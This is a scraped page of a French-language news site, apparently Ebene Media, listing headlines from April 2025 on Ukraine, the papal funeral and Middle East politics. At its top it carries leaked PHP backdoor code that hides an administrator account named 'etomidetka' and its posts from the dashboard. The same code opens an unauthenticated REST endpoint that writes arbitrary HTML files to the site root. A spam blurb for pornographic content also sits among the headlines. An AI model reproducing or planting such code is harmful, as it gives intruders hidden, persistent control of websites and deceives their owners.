//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); }
Une panne d’électricité à grande échelle a plongé l’Espagne, le Portugal et certaines régions françaises dans le chaos, perturbant les transports, les services...
ByEbene Mediaavril 28, 2025Donald Trump a affirmé que Volodymyr Zelensky serait disposé à abandonner les revendications de l’Ukraine sur la Crimée. Il a également révélé que...
ByEbene Mediaavril 28, 2025Les raids américains « Rough Rider » contre les Houthis, jugés insuffisants par The New York Times et CNN, font craindre une opération...
ByEbene Mediaavril 28, 2025Pour les funérailles du pape François au Vatican, Volodymyr Zelensky a trouvé l’occasion de transformer ce moment solennel en une intense session de...
ByEbene Mediaavril 26, 2025Le président américain affirme que la Russie et l’Ukraine sont proches d’un accord de paix, la majorité des points majeurs ayant déjà été...
ByEbene Mediaavril 26, 2025Près de 200 000 personnes se sont rassemblées, ce 26 avril, sur la place Saint-Pierre à Rome pour participer aux funérailles du pape...
ByEbene Mediaavril 26, 2025Depuis le début du conflit en 2023, plus de 36 000 Gazaouis ont fui Gaza, via Rafah, vers les Émirats, la Jordanie et...
ByEbene Mediaavril 26, 2025Kiev souhaite un sommet sur l’Ukraine à Rome le jour même des funérailles du pape François, a révélé la Repubblica en citant des...
ByEbene Mediaavril 25, 2025Le dernier rapport annuel du secrétaire général de l’OTAN, Mark Rutte, ne fait plus référence à une future adhésion de l’Ukraine à l’alliance....
ByEbene Mediaavril 25, 202519/07 Enzo Fernandez au coeur d’une nouvelle polémique
ByEbene Mediajuillet 19, 2024EdF : Kylian Mbappé dithyrambique sur l’évolution d’Adrien Rabiot avec les Bleus #EdF #Kylian #Mbappé #dithyrambique #sur #lévolution #dAdrien #Rabiot #avec #les #Bleus...
ByEbene Mediamars 27, 2023L'ancien premier ministre, qui fait sa rentrée politique cette semaine, reste toujours aussi populaire dans l'opinion
ByEbene Mediaseptembre 11, 2023Dans une autofiction en six épisodes, l’actrice se remémore ses débuts dans le cinéma et sa relation avec le cinéaste Benoît Jacquot, alors...
ByEbene Mediadécembre 24, 2023Selon le Berliner Morgenpost, la police berlinoise s’apprêterait à interdire une nouvelle fois les drapeaux russes et soviétiques lors des événements commémoratifs de...
ByEbene Mediaavril 25, 2025L’agence de presse Reuters publie la liste des propositions américaines présentées à Paris pour un règlement du conflit ukrainien. Le plan détaille un...
ByEbene Mediaavril 25, 2025Après l’attentat de Pahalgam, qui a coûté la vie à 26 personnes et provoqué une escalade des tensions entre l’Inde et le Pakistan,...
ByEbene Mediaavril 25, 2025Ahmed al-Chareh, président syrien par intérim, propose une normalisation des relations avec Israël, conditionnée à des garanties sécuritaires et économiques. Cette déclaration, faite...
ByEbene Mediaavril 25, 2025Washington et Téhéran avancent dans les pourparlers nucléaires, avec une réunion prévue le 26 avril 2025 à Oman. L’Iran propose de limiter l’enrichissement...
ByEbene Mediaavril 25, 2025There is an efficient number of categories obtainable to view with the most well-liked ones being ‘Swingers’, ‘Granny’, ‘Casting Couch’ and ‘Teeny’. There’s...
Byavril 25, 2025Le président américain Donald Trump a sommé son homologue russe Vladimir Poutine de faire cessez les frappes sur Kiev, jugées «non nécessaires» et...
ByEbene Mediaavril 24, 2025Le président estonien Alar Karis a refusé de promulguer une loi controversée qui visait à couper les liens de l’Église orthodoxe locale avec...
ByEbene Mediaavril 24, 2025Après l’annonce par New Delhi d’un train de mesures sans précédent à l’encontre du Pakistan, Islamabad réagit à son tour. Fermeture de l’espace...
ByEbene Mediaavril 24, 2025